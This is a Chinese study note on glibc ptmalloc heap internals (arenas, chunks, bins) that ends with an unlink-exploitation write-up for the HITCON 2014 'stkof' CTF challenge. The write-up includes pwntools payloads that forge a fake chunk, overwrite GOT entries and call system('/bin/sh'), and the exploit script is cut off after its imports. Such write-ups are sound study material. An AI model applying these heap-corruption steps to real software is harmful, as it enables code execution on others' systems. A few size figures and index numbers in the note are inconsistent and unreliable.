堆相关

Linux 堆内存管理分析

Linux 堆内存管理深入分析(上) - 知乎
Linux 堆内存管理深入分析(下) - 知乎
文章 - Linux堆内存分配与管理机制详解及其利用方法 - 先知社区

堆内存管理简介

当前针对各大平台主要有如下几种堆内存管理机制:

dlmalloc – General purpose allocator

ptmalloc2 – glibc

jemalloc – FreeBSD and Firefox

tcmalloc – Google

libumem – Solaris

本来 linux 默认的是 dlmalloc,但是由于其不支持多线程堆管理,所以后来被支持多线程的 prmalloc2 代替了。

当然在 linux 平台*malloc 本质上都是通过系统调用 brk 或者 mmap 实现的。

这里简单列出函数调用关系和系统内存分布的图

函数调用关系图

img

系统内存分布图:

img

Arena 介绍

Arena 数量限制

arena 的个数是跟系统中处理器核心个数相关的,如下表所示:

`For 32 bit systems:     Number of arena = 2 * number of cores + 1. For 64 bit systems:     Number of arena = 8 * number of cores + 1.`

多 Arena 的管理

假设有如下情境:一台只含有一个处理器核心的 PC 机安装有 32 位操作系统,其上运行了一个多线程应用程序,共含有 4 个线程——主线程和三个用户线程。显然线程个数大于系统能维护的最大 arena 个数(2*核心数 + 1 = 3),那么此时 glibc malloc 就需要确保这 4 个线程能够正确地共享这 3 个 arena,那么它是如何实现的呢?

当主线程首次调用 malloc 的时候,glibc malloc 会直接为它分配一个 main arena,而不需要任何附加条件。

当用户线程 1 和用线程 2 首次调用 malloc 的时候,glibc malloc 会分别为每个用户线程创建一个新的 thread arena。此时,各个线程与 arena 是一一对应的。但是,当用户线程 3 调用 malloc 的时候,就出现问题了。因为此时 glibc malloc 能维护的 arena 个数已经达到上限,无法再为线程 3 分配新的 arena 了,那么就需要重复使用已经分配好的 3 个 arena 中的一个(main arena, arena 1 或者 arena 2)。那么该选择哪个 arena 进行重复利用呢?

  1. 首先,glibc malloc 循环遍历所有可用的 arenas,在遍历的过程中,它会尝试 lock 该 arena。如果成功 lock(该 arena 当前对应的线程并未使用堆内存则表示可 lock),比如将 main arena 成功 lock 住,那么就将 main arena 返回给用户,即表示该 arena 被线程 3 共享使用。

  2. 而如果没能找到可用的 arena,那么就将线程 3 的 malloc 操作阻塞,直到有可用的 arena 为止。

  3. 现在,如果线程 3 再次调用 malloc 的话,glibc malloc 就会先尝试使用最近访问的 arena(此时为 main arena)。如果此时 main arena 可用的话,就直接使用,否则就将线程 3 阻塞,直到 main arena 再次可用为止。

这样线程 3 与主线程就共享 main arena 了。至于其他更复杂的情况,以此类推。

堆管理介绍

数据结构

在 glibc malloc 中针对堆管理,主要涉及到以下 3 种数据结构

heap_info

即 Heap Header,因为一个 thread arena(注意:不包含 main thread)可以包含多个 heaps,所以为了便于管理,就给每个 heap 分配一个 heap header。那么在什么情况下一个 thread arena 会包含多个 heaps 呢?在当前 heap 不够用的时候,malloc 会通过系统调用 mmap 申请新的堆空间,新的堆空间会被添加到当前 thread arena 中,便于管理。

typedef struct _heap_info
{
  mstate ar_ptr; /* Arena for this heap. */
  struct _heap_info *prev; /* Previous heap. */
  size_t size;   /* Current size in bytes. */
  size_t mprotect_size; /* Size in bytes that has been mprotected
                           PROT_READ|PROT_WRITE.  */
  /* Make sure the following data is properly aligned, particularly
     that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
     MALLOC_ALIGNMENT. */
  char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK];
} heap_info;

malloc_state

即 Arena Header,每个 thread 只含有一个 Arena Header。Arena Header 包含 bins 的信息、top chunk 以及最后一个 remainder chunk 等(这些概念会在后文详细介绍):

struct malloc_state
{
  /* Serialize access.  */
  mutex_t mutex;
  /* Flags (formerly in max_fast).  */
  int flags;
  /* Fastbins */
  mfastbinptr fastbinsY[NFASTBINS];
  /* Base of the topmost chunk -- not otherwise kept in a bin */
  mchunkptr top;
  /* The remainder from the most recent split of a small request */
  mchunkptr last_remainder;
  /* Normal bins packed as described above */
  mchunkptr bins[NBINS * 2 - 2];
  /* Bitmap of bins */
  unsigned int binmap[BINMAPSIZE];
  /* Linked list */
  struct malloc_state *next;
  /* Linked list for free arenas.  */
  struct malloc_state *next_free;
  /* Memory allocated from the system in this arena.  */
  INTERNAL_SIZE_T system_mem;
  INTERNAL_SIZE_T max_system_mem;
};

malloc_chunk

即 Chunk Header,一个 heap 被分为多个 chunk,至于每个 chunk 的大小,这是根据用户的请求决定的,也就是说用户调用 malloc(size)传递的 size 参数“就是”chunk 的大小(这里给“就是”加上引号,说明这种表示并不准确,但是为了方便理解就暂时这么描述了,详细说明见后文)。每个 chunk 都由一个结构体 malloc_chunk 表示:

struct malloc_chunk {
  /* #define INTERNAL_SIZE_T size_t */
  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */
  struct malloc_chunk* fd;         /* double links -- used only if free. 这两个指针只在free chunk中存在*/
  struct malloc_chunk* bk;
  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

NOTE

1.Main thread 不含有多个 heaps 所以也就不含有 heap_info 结构体。当需要更多堆空间的时候,就通过扩展 sbrk 的 heap segment 来获取更多的空间,直到它碰到内存 mapping 区域为止。

2.不同于 thread arena,main arena 的 arena header 并不是 sbrk heap segment 的一部分,而是一个全局变量!因此它属于 libc.so 的 data segment。

heap segment, arena, chunk 三者之间的关系

简述

概念 描述
Arena 堆内存的管理区域,每个 arena 管理一个或多个堆。
Heap 由操作系统分配的一块连续内存区域,用于存储 chunk。
Chunk 堆内存的基本分配单元,每个 chunk 包含元数据和用户数据。

详细解释

Arena 管理 Heap

  • 每个 arena 管理一个或多个 heap
  • 在单线程程序中,通常只有一个 main arena,它管理一个 main heap
  • 在多线程程序中,每个线程可能有自己的 thread arena,管理独立的 heap。

Heap 包含 Chunk

  • 每个 heap 是一块连续的内存区域,其中包含多个 chunk
  • heap 的内存由操作系统分配(如通过 brkmmap 系统调用)。
  • heap 的顶部是 top chunk,用于动态扩展堆空间。

Chunk 是分配的基本单元

  • 每个 chunk 是堆内存的基本分配单元,包含元数据和用户数据。
  • chunk 的大小根据用户请求动态调整。
  • chunk 可以是已分配的(allocated)或空闲的(free)。

内存分布图

可以通过内存分布图理清三者之间的组织关系。

下图是只有一个 heap segment 的 main arena 和 thread arena 的内存分布图:

img

图 4-1 只含一个 heap segment 的 main arena 与 thread arena 图

下图是一个 thread arena 中含有多个 heap segments 的情况:

img

图 4-2 一个 thread arena 含有多个 heap segments 的内存分布图

从上图可以看出,thread arena 只含有一个 malloc_state(即 arena header),却有两个 heap_info(即 heap header)。由于两个 heap segments 是通过 mmap 分配的内存,两者在内存布局上并不相邻而是分属于不同的内存区间,所以为了便于管理,libc malloc 将第二个 heap_info 结构体的 prev 成员指向了第一个 heap_info 结构体的起始位置(即 ar_ptr 成员),而第一个 heap_info 结构体的 ar_ptr 成员指向了 malloc_state,这样就构成了一个单链表,方便后续管理。

对 chunk 的理解

隐式链表技术

在 glibc malloc 中将整个堆内存空间分成了连续的、大小不一的 chunk,即对于堆内存管理而言 chunk 就是最小操作单位。Chunk 总共分为 4 类:

  1. allocated chunk;
  2. free chunk;
  3. top chunk;
  4. Last remainder chunk。

从本质上来说,所有类型的 chunk 都是内存中一块连续的区域,只是通过该区域中 特定位置的某些标识符 加以区分。

在 ptmalloc 中(也就是 Linux 的堆管理系统中),chunk 的元数据 是通过 malloc_chunk 结构体来描述的。每个 chunk 的头部都包含一个 malloc_chunk 结构体,用于存储该 chunk 的元数据信息。

chunk 的数据结构第一次看的话会感觉非常抽象并且难以理解,要想完全理解 chunk 的数据结构就要从 chunk 数据结构一步步优化来考虑了。篇幅原因,可以自行阅读本文参照的文章。这里直接给出结论

img

图 5-9 glibc malloc allocated chunk 格式

img

图 5-10 glibc malloc free chunk 格式

chunk 的结构体通过每个 chunk 的 prev_size 和 size 构成了隐式链表,来表示前一个 chunk 的大小和当前 chunk 的大小。
这样一来,如果想要找前一个 chunk 的元数据只要按照 prev size 的大小去找就可以了,后一个 chunk 的元数据只要按照 size 找就可以了。

而 fd, bk 参数是用于 chunk 被 free 后交给 bin 处理时才会有用

在堆中如果低地址的块处于使用状态(高地址的P位为1),那么相邻高地址的块的prev_size可以作为低地址块的data来使用。(在申请0x10整数倍的时候没用,申请0x18,0x28之类的chunk作为data区)

Top Chunk

作用

当一个 chunk 处于一个 arena 的最顶部(即最高内存地址处)的时候,就称之为 top chunk。该 chunk 并 不属于任何 bin,而是在系统当前的所有 free chunk(无论那种 bin)都无法满足用户请求的内存大小的时候,将此 chunk 当做一个应急消防员,分配给用户使用。

当程序请求分配内存时,ptmalloc 会首先尝试从 fastbins、smallbins 或 largebins 中查找合适的空闲内存块。
如果没有找到合适的空闲块,ptmalloc 会从 top chunk 中分割一块内存来满足请求。

如果 top chunk 的大小不足以满足当前的内存请求,ptmalloc 会通过系统调用(如 brkmmap)扩展堆空间,增加 top chunk 的大小。

top chunk的元数据(size字段和可能的prev_size字段)位于其低地址端,与普通chunk一致。

当从top chunk分配内存时,系统会从其低地址端切割所需大小的chunk,剩余部分成为新的top chunk。

示例(假设原top chunk大小为S,分配大小为N):

原top chunk: [元数据 | 空闲内存...] (地址范围: A ~ A+S)
分配新chunk: [元数据 | 用户内存...] (地址范围: A ~ A+N)
新top chunk: [元数据 | 剩余内存...] (地址范围: A+N ~ A+S)

工作原理

当堆初始化时,top chunk 是堆中唯一的内存块,占据整个堆空间(减去元数据)。

当程序请求分配内存时,如果 top chunk 的大小足够,ptmalloc 会从 top chunk 中分割一块内存:

  • 分割后的内存块返回给程序。
  • 剩余的 top chunk 大小减少。

如果 top chunk 的大小不足以满足请求,ptmalloc 会通过系统调用扩展堆空间:

  • main_arena 中,通常使用 brk 系统调用来扩展堆。
  • 在非主线程的 arena 中,通常使用 mmap 系统调用来分配新的内存区域。

当程序释放内存时,如果释放的内存块与 top chunk 相邻,ptmalloc 会将其合并到 top chunk 中,以增加 top chunk 的大小。

Last Remainder Chunk

当用户请求的是一个 small chunk,且该请求无法被 small bin、unsorted bin 满足的时候,就通过 binmaps 遍历 bin 查找最合适的 chunk,如果该 chunk 有剩余部分的话,就将该剩余部分变成一个新的 chunk 加入到 unsorted bin 中,另外,再将该新的 chunk 变成新的 last remainder chunk。

此类型的 chunk 用于提高连续 malloc(small chunk)的效率,主要是提高内存分配的局部性。那么具体是怎么提高局部性的呢?
举例说明。当用户请求一个 small chunk,且该请求无法被 small bin 满足,那么就转而交由 unsorted bin 处理。同时,假设当前 unsorted bin 中只有一个 chunk 的话——就是 last remainder chunk,那么就将该 chunk 分成两部分:前者分配给用户,剩下的部分放到 unsorted bin 中,并成为新的 last remainder chunk。这样就保证了连续 malloc(small chunk)中,各个 small chunk 在内存分布中是相邻的,即提高了内存分配的局部性。

bin

概述

img

bin 是一种记录 free chunk 的链表数据结构。系统针对不同大小的 free chunk,将 bin 分为了 4 类:

  1. Fast bin;

  2. Unsorted bin;

  3. Small bin;

  4. Large bin

在 glibc 中用于记录 bin 的数据结构有两种,分别如下所示:

fastbinsY: 这是一个数组,用于记录所有的 fast bins;

bins: 这也是一个数组,用于记录除 fast bins 之外的所有 bins。事实上,一共有 126 个 bins,分别是:

  • bin 1 为 unsorted bin;

  • bin 2 到 63 为 small bin;

  • bin 64 到 126 为 large bin。

其中具体数据结构定义如下:

struct malloc_state
{
  ……
  /* Fastbins */
  mfastbinptr fastbinsY[NFASTBINS];
  ……
  /* Normal bins packed as described above */
  mchunkptr bins[NBINS * 2 - 2];  // #define NBINS    128
  ……
};
这里mfastbinptr的定义:typedef struct malloc_chunk *mfastbinptr;
mchunkptr的定义:typedef struct malloc_chunk* mchunkptr;

画图更直观:

img

图 1-1 bins 分类

Fast bin

既然有 fast bin,那就肯定有 fast chunk——chunk size 为 1680 字节的 chunk 就叫做 fast chunk。为了便于后文描述,这里对 chunk 大小做如下约定:

  1. 只要说到 chunk size,那么就表示该 malloc_chunk 的实际整体大小;

  2. 而说到 chunk unused size,就表示该 malloc_chunk 中刨除诸如 prev_size, size, fd 和 bk 这类辅助成员之后的实际可用的大小。因此,对 free chunk 而言,其实际可用大小总是比实际整体大小少 16 字节。

在内存分配和释放过程中,fast bin 是所有 bin 中操作速度最快的。下面详细介绍 fast bin 的一些特性:

1) fast bin 的个数——10 个

2) 每个 fast bin 都是一个单链表(只使用 fd 指针)。在 fast bin 中无论是添加还是移除 fast chunk,都是对“链表尾”进行操作,而不会对某个中间的 fast chunk 进行操作。更具体点就是 LIFO(后入先出)算法:添加操作(free 内存)就是将新的 fast chunk 加入链表尾,删除操作(malloc 内存)就是将链表尾部的 fast chunk 删除。需要注意的是,为了实现 LIFO 算法,fastbinsY 数组中每个 fastbin 元素均指向了该链表的 rear end(尾结点),而尾结点通过其 fd 指针指向前一个结点,依次类推,如图 2-1 所示。

3) chunk size: 10 个 fast bin 中所包含的 fast chunk size 是按照步进 8 字节排列的,即第一个 fast bin 中所有 fast chunk size 均为 16 字节,第二个 fast bin 中为 24 字节,依次类推。在进行 malloc 初始化的时候,最大的 fast chunk size 被设置为 80 字节(chunk unused size 为 64 字节),因此默认情况下大小为 16 到 80 字节的 chunk 被分类到 fast chunk。详情如图 2-1 所示。

4) 不会对 free chunk 进行合并操作。鉴于设计 fast bin 的初衷就是进行快速的 小内存分配和释放,因此系统将属于 fast bin 的 chunk 的 P(未使用标志位)总是设置为 1,这样即使当 fast bin 中有某个 chunk 同一个 free chunk 相邻的时候,系统也不会进行自动合并操作,而是保留两者。虽然这样做可能会造成额外的碎片化问题,但瑕不掩瑜。

5) malloc(fast chunk) 操作:即用户通过 malloc 请求的大小属于 fast chunk 的大小范围(注意:用户请求 size 加上 16 字节就是实际内存 chunk size)。在初始化的时候 fast bin 支持的最大内存大小以及所有 fast bin 链表都是空的,所以当最开始使用 malloc 申请内存的时候,即使申请的内存大小属于 fast chunk 的内存大小(即 16 到 80 字节),它也不会交由 fast bin 来处理,而是向下传递交由 small bin 来处理,如果 small bin 也为空的话就交给 unsorted bin 处理:

/* Maximum size of memory handled in fastbins.  */
static INTERNAL_SIZE_T global_max_fast;
 
/* offset 2 to use otherwise unindexable first 2 bins */
/*这里SIZE_SZ就是sizeof(size_t),在32位系统为4,64位为8,fastbin_index就是根据要malloc的size来快速计算该size应该属于哪一个fast bin,即该fast bin的索引。因为fast bin中chunk是从16字节开始的,所有这里以8字节为单位(32位系统为例)有减2*8 = 16的操作!*/
#define fastbin_index(sz) \
  ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
 
 
/* The maximum fastbin request size we support */
#define MAX_FAST_SIZE     (80 * SIZE_SZ / 4)
 
#define NFASTBINS  (fastbin_index (request2size (MAX_FAST_SIZE)) + 1)

那么 fast bin 是在哪?怎么进行初始化的呢?

当我们第一次调用 malloc(fast bin)的时候,系统执行_int_malloc 函数,该函数首先会发现当前 fast bin 为空,就转交给 small bin 处理,进而又发现 small bin 也为空,就调用 malloc_consolidate 函数对 malloc_state 结构体进行初始化,malloc_consolidate 函数主要完成以下几个功能:

  1. 首先判断当前 malloc_state 结构体中的 fast bin 是否为空,如果为空就说明整个 malloc_state 都没有完成初始化,需要对 malloc_state 进行初始化。

  2. malloc_state 的初始化操作由函数 malloc_init_state(av)完成,该函数先初始化除 fast bin 之外的所有的 bins(构建 双链表,详情见后文 small bins 介绍),再初始化 fast bins。

然后当再次执行 malloc(fast chunk)函数的时候,此时 fast bin 相关数据不为空了,就开始使用 fast bin(见下面代码中的※1 部分):

static void *
_int_malloc (mstate av, size_t bytes)
{
  ……
  /*
     If the size qualifies as a fastbin, first check corresponding bin.
     This code is safe to execute even if av is not yet initialized, so we
     can try it without checking, which saves some time on this fast path.
   */
   //第一次执行malloc(fast chunk)时这里判断为false,因为此时get_max_fast ()为0
   if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
    {
  ※1  idx = fastbin_index (nb);
      mfastbinptr *fb = &fastbin (av, idx);
      mchunkptr pp = *fb;
      do
        {
          victim = pp;
          if (victim == NULL)
            break;
        }
   ※2 while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))!= victim);
      if (victim != 0)
        {
          if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
            {
              errstr = "malloc(): memory corruption (fast)";
            errout:
              malloc_printerr (check_action, errstr, chunk2mem (victim));
              return NULL;
            }
          check_remalloced_chunk (av, victim, nb);
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }

6)free(fast chunk)操作: 这个操作很简单,主要分为两步:先通过 chunksize 函数根据传入的地址指针获取该指针对应的 chunk 的大小;然后根据这个 chunk 大小获取该 chunk 所属的 fast bin,然后再将此 chunk 添加到该 fast bin 的链尾即可。整个操作都是在_int_free 函数中完成。得到第一个来自于 fast bin 的 chunk 之后,系统就将该 chunk 从对应的 fast bin 中移除,并将其地址返回给用户,见上面代码※2 处。

在 main arena 中 Fast bins(即数组 fastbinsY)的整体操作示意图如下图所示:

img

图 2-1 fast bin 示意图

Unsorted bin

当释放较小或较大的 chunk 的时候,如果系统没有将它们添加到对应的 bins 中(为什么,在什么情况下会发生这种事情呢?详情见后文),系统就将这些 chunk 添加到 unsorted bin 中。为什么要这么做呢?这主要是为了让“glibc malloc 机制”能够有第二次机会重新利用最近释放的 chunk(第一次机会就是 fast bin 机制)。利用 unsorted bin,可以加快内存的分配和释放操作,因为整个操作都不再需要花费额外的时间去查找合适的 bin 了。

Unsorted bin 的特性如下:

  1. unsorted bin 的个数: 1 个。unsorted bin 是一个由 free chunks 组成的 循环双链表

  2. Chunk size: 在 unsorted bin 中,对 chunk 的大小并没有限制,任何大小的 chunk 都可以归属到 unsorted bin 中。这就是前言说的特例了,不过特例并非仅仅这一个,后文会介绍。

Small bin

小于 512 字节的 chunk 称之为 small chunk,small bin 就是用于管理 small chunk 的。就内存的分配和释放速度而言,small bin 比 larger bin 快,但比 fast bin 慢。

Small bin 的特性如下:

  1. small bin 个数:62 个。每个 small bin 也是一个由对应 free chunk 组成的循环双链表。同时 Small bin 采用 FIFO(先入先出) 算法:内存释放 操作就将新释放的 chunk 添加到链表的 front end(前端),分配操作就从链表的 rear end(尾端)中获取 chunk。

  2. chunk size:同一个 small bin 中所有 chunk 大小是一?样的,且第一个 small bin 中 chunk 大小为 16 字节,后续每个 small bin 中 chunk 的大小依次增加 8 字节,即最后一个 small bin 的 chunk 为 16 + 62 * 8 = 512 字节。

  3. 合并操作:相邻的 free chunk 需要进行合并操作,即合并成一个大的 free chunk。具体操作见下文 free(small chunk)介绍。

  4. malloc(small chunk)操作:类似于 fast bins,最初所有的 small bin 都是空的,因此在对这些 small bin 完成初始化之前,即使用户请求的内存大小属于 small chunk 也不会交由 small bin 进行处理,而是交由 unsorted bin 处理,如果 unsorted bin 也不能处理的话,glibc malloc 就依次遍历后续的所有 bins,找出第一个满足要求的 bin,如果所有的 bin 都不满足的话,就转而使用 top chunk,如果 top chunk 大小不够,那么就扩充 top chunk,这样就一定能满足需求了。注意遍历后续 bins 以及之后的操作同样被 large bin 所使用,因此,将这部分内容放到 large bin 的 malloc 操作中加以介绍。

    那么 glibc malloc 是如何初始化这些 bins 的呢?因为这些 bin 属于 malloc_state 结构体,所以在初始化 malloc_state 的时候就会对这些 bin 进行初始化,代码如下:

    malloc_init_state (mstate av)
    {
      int i;
      mbinptr bin;
     
      /* Establish circular links for normal bins */
      for (i = 1; i < NBINS; ++i)
        {
          bin = bin_at (av, i);
          bin->fd = bin->bk = bin;
    }
    ……
    }
    

    过后,当再次调用 malloc(small chunk)的时候,如果该 chunk size 对应的 small bin 不为空,就从该 small bin 链表中取得 small chunk,否则就需要交给 unsorted bin 及之后的逻辑来处理了。注意在 malloc 源码中,将 bins 数组中的第一个成员索引值设置为了 1,而不是我们常用的 0(在 bin_at 宏中,自动将 i 进行了减 1 处理…)。从上面代码可以看出在初始化的时候 glibc malloc 将所有 bin 的指针都指向了自己——这就代表这些 bin 都是空的。

  1. free(small chunk):当释放 small chunk 的时候,先检查该 chunk 相邻的 chunk 是否为 free,如果是的话就进行合并操作:将这些 chunks 合并成新的 chunk,然后将它们从 small bin 中移除,最后将新的 chunk 添加到 unsorted bin 中。

Large bin

大于 512 字节的 chunk 称之为 large chunk,large bin 就是用于管理这些 large chunk 的。

Large bin 的特性如下:

  1. large bin 的数量:63 个。Large bin 类似于 small bin,只是需要注意两点

    • 同一个 large bin 中每个 chunk 的大小可以不一样,但必须处于某个给定的范围(特例 2) ;
    • large chunk 可以添加、删除在 large bin 的任何一个位置。

    在这 63 个 large bins 中,前 32 个 large bin 依次以 64 字节步长为间隔,即第一个 large bin 中 chunk size 为 512~575 字节,第二个 large bin 中 chunk size 为 576 ~ 639 字节。紧随其后的 16 个 large bin 依次以 512 字节步长为间隔;之后的 8 个 bin 以步长 4096 为间隔;再之后的 4 个 bin 以 32768 字节为间隔;之后的 2 个 bin 以 262144 字节为间隔;剩下的 chunk 就放在最后一个 large bin 中。

鉴于同一个 large bin 中每个 chunk 的大小不一定相同,因此为了加快内存分配和释放的速度,就将同一个 large bin 中的所有 chunk 按照 chunk size 进行 从大到小的排列:最大的 chunk 放在链表的 front end,最小的 chunk 放在 rear end。

  1. 合并操作:类似于 small bin。

  2. malloc(large chunk)操作:

    初始化完成之前的操作类似于 small bin,这里主要讨论 large bins 初始化完成之后的操作。首先确定用户请求的大小属于哪一个 large bin,然后判断该 large bin 中最大的 chunk 的 size 是否大于用户请求的 size(只需要对比链表中 front end 的 size 即可)。如果大于,就从 rear end 开始遍历该 large bin,找到第一个 size 相等或接近的 chunk,分配给用户。如果该 chunk 大于用户请求的 size 的话,就将该 chunk 拆分为两个 chunk:前者返回给用户,且 size 等同于用户请求的 size;剩余的部分做为一个新的 chunk 添加到 unsorted bin 中。

    如果该 large bin 中最大的 chunk 的 size 小于用户请求的 size 的话,那么就依次查看后续的 large bin 中是否有满足需求的 chunk,不过需要注意的是鉴于 bin 的个数较多(不同 bin 中的 chunk 极有可能在不同的内存页中),如果按照上一段中介绍的方法进行 遍历 的话(即遍历每个 bin 中的 chunk),就可能会发生多次内存页中断操作,进而严重影响 检索速度,所以 glibc malloc 设计了 Binmap 结构体来帮助提高 bin-by-bin 检索的速度。Binmap 记录了各个 bin 中是否为空,通过 bitmap 可以避免检索一些空的 bin。如果通过 binmap 找到了下一个非空的 large bin 的话,就按照上一段中的方法分配 chunk,否则就使用 top chunk 来分配合适的内存。

  3. Free(large chunk):类似于 small chunk。

总结

1.tcache bin:tcache 是 ptmalloc 中引入的一种线程局部缓存机制,旨在加速小内存块的分配和释放。它使用单链表结构存储大小在 16 到 1032 字节之间的内存块。

2.fast bin:这些 bin 用于存储大小最多为 160 字节的小内存块,使用单链表结构。它们的设计目标是快速分配和释放小内存块。

3.unsorted bin:这是一个双链表结构的 bin,用于临时存储不适合 tcache 或快速 bin 的释放块。这些块随后会被重新排序并分配到适当的 bin 中。

4.small bin:这些双链表 bin 用于存储大小最多为 512 字节的内存块。它们的设计目标是高效管理中等大小的内存块。

5.large bin:这些双链表 bin 用于存储超过 512 字节的内存块。它们包含不同大小的内存块,并用于管理较大的内存分配。

堆的常见漏洞及机理

深入理解unlink漏洞-CSDN博客
Unlink - CTF Wiki
基础操作 - CTF Wiki

检查chunk是否空闲的标准

  • 检查1:检查与被释放chunk相邻高地址的chunk的prevsize的值是否等于被释放chunk的size大小
  • 检查2:检查与被释放chunk相邻高地址的chunk的size的P标志位是否为0
  • 检查3:检查前后被释放chunk的fd和bk

堆管理器什么时候会使用unlink操作

  1. 合并 chunk 时

    当释放一个 chunk 时,如果其 物理相邻的前一个或后一个 chunk 是 free 的,glibc 会尝试合并它们。合并过程中需要将相邻的 free chunk 从空闲链表中移除,此时会触发 unlink

    • 前向合并:检查 PREV_INUSE(P) 标志,若 P=0,则前一个 chunk 是 free 的,需要 unlink 它。
    • 后向合并:通过当前 chunk 的 size 找到后一个 chunk,检查其 PREV_INUSE,若 P=0,则后一个 chunk 是 free 的,需要 unlink 它。
    // 释放 chunk P 时,检查前后 chunk
    if (!(P->size & PREV_INUSE)) {  // 前一个 chunk 是 free 的
        prev_chunk = P - P->prev_size;
        unlink(prev_chunk);  // 将前一个 chunk 从空闲链表移除
        P = prev_chunk;      // 合并后的新 chunk
        P->size += (original P->size);
    }
    
    next_chunk = P + P->size;
    if (!(next_chunk->size & PREV_INUSE)) {  // 后一个 chunk 是 free 的
        unlink(next_chunk);  // 将后一个 chunk 从空闲链表移除
        P->size += next_chunk->size;
    }
    
  2. 从 bin 中分配 chunk 时

    当程序申请内存时,如果从 small binlarge bin 中分配一个 chunk,该 chunk 会被从链表中摘下,此时也会调用 unlink

利用思路

条件

  1. UAF ,可修改 free 状态下 smallbin 或是 unsorted bin 的 fd 和 bk 指针
  2. 已知位置存在一个指针指向可进行 UAF 的 chunk

效果

使得已指向 UAF chunk 的指针 ptr 变为 ptr - 0x18

思路

设指向可 UAF chunk 的指针的地址为 ptr

  1. 修改 fd 为 ptr - 0x18
  2. 修改 bk 为 ptr - 0x10
  3. 触发 unlink

ptr 处的指针会变为 ptr - 0x18。

利用流程

  1. 找到一个地址,这个地址的指针要指向可以unlink操作的chunk,把这个地址称为target_addr
  2. 把chunk的fd修改为target_addr-0x18,bk修改为target_addr-0x10
  3. 触发unlink操作

例题

2014 HITCON stkof

分析

程序存在 4 个功能,经过 IDA 分析后可以分析功能如下

  • alloc:输入 size,分配 size 大小的内存,并在 bss 段记录对应 chunk 的指针,假设其为 global
  • read_in:根据指定索引,向分配的内存处读入数据,数据长度可控,这里存在堆溢出的情况
  • free:根据指定索引,释放已经分配的内存块
  • useless:这个功能并没有什么卵用,本来以为是可以输出内容,结果什么也没有输出

IO 缓冲区问题分析

由于程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区,即初次使用fget()函数和printf()函数的时候会申请两个chunk。
所以我们最好最初的申请一个 chunk 来把这些缓冲区给申请了(fget()和printf()函数就全都用过一遍了),方便之后操作。

思路

大体思路

由于程序本身没有 leak,要想执行 system 等函数,我们的首要目的还是先构造 leak,基本思路如下

  • 利用 unlink 修改 chunk_list[2] 为 &chunk_list[2]-0x18。
  • 利用编辑功能修改 chunk_list[0] 为 free@got 地址,同时修改 chunk_list[1] 为 puts@got 地址,chunk_list[2] 为 atoi@got 地址。
  • 修改 free@gotputs@plt 的地址,从而当再次调用 free 函数时,即可直接调用 puts 函数。这样就可以泄漏函数内容。
  • free chunk_list[1],即泄漏 puts@got 内容,从而知道 system 函数地址以及 libc 中 /bin/sh 地址。
  • 修改 atoi@got 为 system 函数地址,再次调用时,输入 /bin/sh 地址即可。
1.利用unlink修改地址

如果想要利用unlink的方式,那么势必要有一个空闲块。我们目前都是申请,哪来的空闲块?的确没有,但是可以构造空闲块嘛。
如果我们在chunk2的data部分伪造一个fake_chunk,并且这个fake_chunk处于释放状态。通过堆溢出的方式和修改chunk3的prev_size和size的P标志位,使得在释放chunk3的时候发生向前合并,这样就能触发unlink了:在这里插入图片描述

fake_chunk的大小最少为:

0x8(prev_size) + 0x8(size) + 0x8(fd) + 0x8(bk) + 0x8(next_prev) + 0x8(next_size) = 0x30
  • prev_size:在堆管理系统中,prev_szie字段是上一个chunk的内容。我们其实只想通过释放chunk3的时候向前合并fake_chunk,并不需要合并chunk2,所以fake_chunk的prev_size置零就行
  • size:fake_chunk的大小,由于检查是否能合并chunk并不会检查这里,所以这里写什么都行。为了fake_chunk好看,这里写0x20
  • fd:这里是重头戏,通过分析我们可以知道在chunk_list[2]中存放chunk2的地址,所以可以根据这个算出target_addr=chunk_list+0x10,这里target_addr就是chunk2的地址。所以修改 fd 为 target_addr- 0x18
  • bk:通过退fd的分析,可以得到bk为target_addr - 0x10

上面 fd 和 bk 的值是unlink手法的常数,具体原因可以看wiki的解释

  • next_prev:这里其实就是为了绕过检查,证明fake_chunk是一个空闲块,所以next_prev要等于size,即0x20
  • next_size:没啥用,不检查这里,用字符串占位就好

所以我们需要发送的payload为

payload=p64(0)+p64(0x20)+p64(target_add-0x18)+p64(target_add-0x10)+p64(0x20)
payload=payload.ljust(0x30,b'a')
payload+=p64(0x30)+p64(0x90)

用一下hollk师傅的图(在这里插入图片描述

最后把chunk3给free掉就会触发unlink函数,让targetaddr处的指针变成targetaddr - 0x18

2.泄露函数地址,拿shell

接下来就可以通过修改chunk2来修改chunk_list的指针。

payload=b'a'*8+p64(free_got)+p64(puts_got)+p64(atoi_got)
edit_chunk_byte(2,len(payload),payload)

可以看到经过修改后chunk_list处的地址变为了我们输入的几个函数got表的地址image-20250418211327668

这样一来free()函数、puts()函数、atoi()函数就已经在s[]数组中部署好了。可以看到如果再次修改s[0]的话其实修改的是free()函数的真实地址,再次修改s[1]的话其实修改的是puts()函数的真实地址,再次修改s[3]的话其实修改的是atoi()函数的真实地址。在这里插入图片描述

那么接下来,如果将s[0],即free()函数got中的真实地址修改成puts_plt的话,释放调用free()函数就相当于调用puts()函数了。那么如果释放的是s[1]的话就可以泄露出puts()函数的真实地址了。注意这里是puts_plt不是got。因为是向got表的指针写

payload=p64(puts_plt)#把free_got覆盖为puts_plt
edit_chunk_byte(0,len(payload),payload)

接下来就是释放s[1]了,虽然是调用free(puts_got),但实际上是puts(puts_got),需要注意的是我们接收泄露的地址的时候需要用\x00补全,并且用u64()转换一下才能用

puts_add=uu64(p.recvuntil('\nOK\n', drop=True))
leak("puts",puts_add)

泄露出地址往后就是找libc基址,找system/bin/sh,修改atoi的got表为system的地址,最后再在获取choice的时候输入s(p64(binsh_add))的地址或者输入ss("/bin/sh") 就可以拿到shell了。

exp

import requests
from pwn import *
from requests.auth import *
import ctypes
